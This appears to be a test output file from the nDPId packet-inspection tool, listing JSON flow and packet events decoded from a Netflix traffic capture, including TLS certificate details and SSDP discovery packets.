+02378{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":735587,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcYUpAACoGJMw2RczxwKgBBwG7z36\/HDeQz76rJoAQAEuddQAAAQEICoWnUKMfZLsfAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEoBWe2xDou1PViaKclBP1Ug+NOLCjAaPHzz4+YV2LIxjpcz4u4VnAYYdYYPSHtRsJ+faftfw+yffJZueqjm5ZjAQBAQDWe8igpRX1oyvcW6JH8gL4Ad7Be8qpe\/APNFoNWp2KJtIagVdOK+jEjZ5FBwT7HN1yhbqc3hErqaovVZ7RJboJxsSiG3+uevhIVtR4MQjf2TguJBb4g8+wODdhzjD3tVq9Kw2ijLc="} +01247{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":149,"source":"netflix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":7,"flow_first_seen":1484319033631,"flow_last_seen":1484319033735,"flow_tot_l4_data_len":3369,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","server_names":"ichnaea.netflix.com,beacon.netflix.com,presentationtracking.netflix.com,nmtracking.netflix.com,customerevents.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=customerevents.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"50:D6:DB:AF:1D:A3:83:52:E6:0E:15:8F:98:78:EE:2F:23:FD:E2:3F"}} +00424{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":744263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0XohAAEAGF1bAqAEHNkXM8c9+AbvPvqsmvxw9OIAQD9KoiAAAAQEICh9ku1mFp1Cj"} +00650{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":746637,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"5JjWH70UgCqoTGHMCABFIADXYUtAACoGKdA2RczxwKgBBwG7z36\/HD04z76rJoAYAEvXUAAAAQEICoWnUKMfZLsfPfW2YX2vbjlxOohXB9pjApioj0MFWPkgylbPVopJi2M99iNi5v0RbA\/y7TYrm5QhXEafqimNc8QfQoOWaPTp31BovOhINh8oRPhqWOBpukxsIpfMO5Dqiy7NFbcGEY4HgWnqt0N+ZnxouIdTPZvSSGTqvkhGCC6kuH5gJK8YNUFzx9EAeYeUSBsNa7X1PBlg658Lfh\/1ZoIxYhYDAwAEDgAAAA=="} +00426{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":750254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA066xAAEAGijHAqAEHNkXM8c9+AbvPvqsmvxw924AQD\/qntgAAAQEICh9ku2CFp1Cj"} +00529{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":761052,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/pd1AAEAGz7XAqAEHNkXM8c9+AbvPvqsmvxw924AYEAAmcAAAAQEICh9ku2qFp1CjFgMDAEYQAABCQQTxvKv9AuPMhPk9lRSnUYSaj2Msx8bWXxgihe+9JeX1UPFuhiJt8R06FqXEhXzKHmTiLDQZGGFA1jFu1ltBSCZB"} +00433{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":761313,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6LwBAAEAGRtjAqAEHNkXM8c9+AbvPvqtxvxw924AYEACPSQAAAQEICh9ku2qFp1CjFAMDAAEB"} +00487{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":761663,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhrXJAAEAGyD7AqAEHNkXM8c9+AbvPvqt3vxw924AYEADSNQAAAQEICh9ku2qFp1CjFgMDACjKOK+sAtd5PswLjYlj+0P45JUuM6LBLH+Rog3b3ZnBWaXBB46ePIQI"} +00426{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":806978,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0YUxAACoGKnI2RczxwKgBBwG7z36\/HD3bz76rd4AQAEu2+AAAAQEICoWnULUfZLtq"} +00496{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":810394,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnYU1AACoGKj42RczxwKgBBwG7z36\/HD3bz76rpIAYAEuv9AAAAQEICoWnULYfZLtqFAMDAAEBFgMDACi6l1EX3Ko6OWfaT4C9ii2vvBLKcrRK0ddk9SR7FN6ZjdgSgXISGx5h"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":165,"source":"netflix.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1484319033886,"flow_last_seen":0,"flow_tot_l4_data_len":130,"flow_min_l4_data_len":130,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":130,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"239.255.255.250","src_port":53776,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00565{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":886061,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACWfwIAAAERiKvAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":165,"source":"netflix.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1484319033886,"flow_last_seen":0,"flow_tot_l4_data_len":130,"flow_min_l4_data_len":130,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":130,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"239.255.255.250","src_port":53776,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"netflix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1484319033943,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53119,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":943762,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAxzpAAEAGrpfAqAEHNkXM8c9\/Abtb3TwWAAAAALAC\/\/8tbQAAAgQFtAEDAwUBAQgKH2S8FwAAAAAEAgAA"} +00437{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":988686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGjLY2RczxwKgBBwG7z39IJeEpW908F6ASRer4mgAAAgQFtAQCCAqFp1DiH2S8FwEDAwg="} +00426{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":990083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0N8lAAEAGPhXAqAEHNkXM8c9\/Abtb3TwXSCXhKoAQEBVdDAAAAQEICh9kvEiFp1Di"} +00569{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":993988,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/65JjWH70UCABFAACZ8KEAAAERFwnAqAEH7\/\/\/+tIQB2wAhUYzTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00739{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":997529,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":295,"pkt_l4_len":261,"pkt":"gCqoTGHM5JjWH70UCABFAAEZ\/SBAAEAGd9jAqAEHNkXM8c9\/Abtb3TwXSCXhKoAYEBWh7QAAAQEICh9kvE+Fp1DiFgMBAOABAADcAwNYeOk6Kk2knMSNhioRrvxRb2utqcQBAlus3bTpE7nGoQAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAjQAAABgAFgAAE2ljaG5hZWEubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":177,"source":"netflix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1484319033943,"flow_last_seen":1484319033997,"flow_tot_l4_data_len":377,"flow_min_l4_data_len":32,"flow_max_l4_data_len":261,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00425{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":46936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0scVAACkG2vg2RczxwKgBBwG7z39IJeEqW908\/IAQAEtr2wAAAQEICoWnUPEfZLxP"} +02378{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":48780,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcscZAACkG1U82RczxwKgBBwG7z39IJeEqW908\/IAQAEt1eQAAAQEICoWnUPEfZLxPFgMDAFkCAABVAwNYeOk6oFPoU9YBdFvzDdPia0vPwGk54HOidZX3VUv\/ICA+A9Bk1PmW0NKrtXhzLPNvYwZied+SI+QkI6djcPGAqMAvAAAN\/wEAAQAACwAEAwABAhYDAwo1CwAKMQAKLgAFDzCCBQswggPzoAMCAQICEBUE9lSWJBH1oKEWtt+LI6kwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMIGBMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTESMBAGA1UEBwwJbG9zIGdhdG9zMRYwFAYDVQQKDA1OZXRmbGl4LCBJbmMuMQwwCgYDVQQLDANPcHMxIzAhBgNVBAMMGmN1c3RvbWVyZXZlbnRzLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5NWCfffj1fH2w7Mcey7bCuVjmU9eYoCt0LQXtABL8VbzHb0v4bvuXzERuentrt0KBRrXwGb1LNpWTCuYkQFsuSO+4A2oBicvehQTGBtisx0FbKBTLIsG1vAxiWHWx\/XTpvW3a5IDQ3ve\/mg0iN4F0RJTT7hORBeIfEAtcLaXH1n\/7BbB4evGBxadgu4wyTSlZcC3QyAKuqxcLKOgPPdViofYrGJ2ftzJYann157r\/0yi8mqc3eUn0g\/zUInV4h7\/h5s9Uj2esO0XEfaW0qv9A1L8eDpSXsQ6a\/uVCNNDZNT0nWamrF358P06wTnnFsnzkBLicvjy+KKQP469XywS3wIDAQABo4IBfzCCAXswgYkGA1UdEQSBgTB\/ghNpY2huYWVhLm5ldGZsaXguY29tghJiZWFjb24ubmV0ZmxpeC5jb22CIHByZXNlbnRhdGlvbnRyYWNraW5nLm5ldGZsaXguY29tghZubXRyYWNraW5nLm5ldGZsaXguY29tghpjdXN0b21lcmV2ZW50cy5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQACFfXmfFLSJ3g83aH1lGay1TzWZVJJlcH5vHFDEXU12pMzmZON4XtuDhhFM85qNRHVp6dySN\/2NPneYQEAzEJszsoGpdoNA5+VkmVdkvaW+tPqbjD3DhRFe6FRMiYEvobEuXDMASh3pWeL+lILt4N4el138DFitlCElI7++tgmcN\/F97RxsNmqKLFE1juHjpRhzqx1ySvoyfKNksinLcJxJGh9TBRlC8+HlqzIWD5UwAIQyDpWGAcTm0CSFI62ZR44BA8HC+G2Cy4+heUb5tc6\/0A9WEHQESa7OfzrIaNQpvRwbE6iQMEgEU13QVkkGskdHHDxVn9L6REOhP7lsoXoAAUZMIIFFTCCA\/2gAwIBAgIQKC4nkXkzkuQo8iGnTsk3rjANBgkqhkiG9w0="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":179,"source":"netflix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":6,"flow_first_seen":1484319033943,"flow_last_seen":1484319034048,"flow_tot_l4_data_len":1889,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02380{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319034,"pkt_ts_usec":49759,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcscdAACkG1U42RczxwKgBBwG7z39IJebSW908\/IAQAEuozAAAAQEICoWnUPEfZLxPAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEoBWe2xDou1PViaKclBP1Ug+NOLCjAaPHzz4+YV2LIxjpcz4u4VnAYYdYYPSHtRsJ+faftfw+yffJZueqjm5ZjAQBAQAYI7vyUx0x5Epw2jXLXc8ObO1kcERD6mbq9bAGL5enAPrPw1QZe\/nFOM2+1WseaXlp79iUKsqqEMZoUCyTG0keq0X465hSI9uHz4HW\/3aeGm2AnT\/hOGdYkkqnOrHgYvlhrhRhfoA="} +01248{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":180,"source":"netflix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":7,"flow_first_seen":1484319033943,"flow_last_seen":1484319034049,"flow_tot_l4_data_len":3369,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53119,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","server_names":"ichnaea.netflix.com,beacon.netflix.com,presentationtracking.netflix.com,nmtracking.netflix.com,customerevents.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=customerevents.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"50:D6:DB:AF:1D:A3:83:52:E6:0E:15:8F:98:78:EE:2F:23:FD:E2:3F"}} 